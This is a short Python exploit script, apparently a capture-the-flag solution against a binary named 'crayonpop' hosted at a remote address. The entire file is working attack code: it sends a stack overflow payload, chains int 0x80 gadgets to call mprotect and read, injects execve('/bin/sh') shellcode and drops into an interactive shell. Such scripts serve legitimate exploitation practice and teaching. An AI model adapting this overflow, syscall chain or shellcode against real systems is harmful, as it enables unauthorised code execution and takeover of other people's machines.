
import struct
import pwnbox

p = lambda x : struct.pack("<I", x)
up = lambda x : struct.unpack("<I", x)[0]



def main():
	pipe = pwnbox.pipe.ProcessPipe("/home/newbie/0Reinose/2015Summer/crayonpop")
	pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz",50001)

	shellcode = "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" 
	poparet = "\x87\x80\x04\x08"
	intret = "\x7b\x80\x04\x08"
	read_off = "\x7e\x80\x04\x08"

	payload = "\x41"*0x100
	payload += poparet
	# mprotect
	payload += "\x00\x00\x00\x00"*4+"\x00\x80\x04\x08"+"\x07\x00\x00\x00"+"\x00\x10\x00\x00"+"\x7d\x00\x00\x00"
	payload += intret+poparet
	# read
	payload += "\x00\x00\x00\x00"*4+"\x00\x00\x00\x00"+"\x00\x01\x00\x00"+"\x00\x80\x04\x08"+"\x03\x00\x00\x00"
	payload += intret+"\x00\x80\x04\x08\n"
	
	pipe.write(payload)
	pipe.read_line()
	pipe.write(shellcode)
	pipe.interact()
	pipe.close()

	print ""
	exit()

if __name__ == "__main__":
	main()
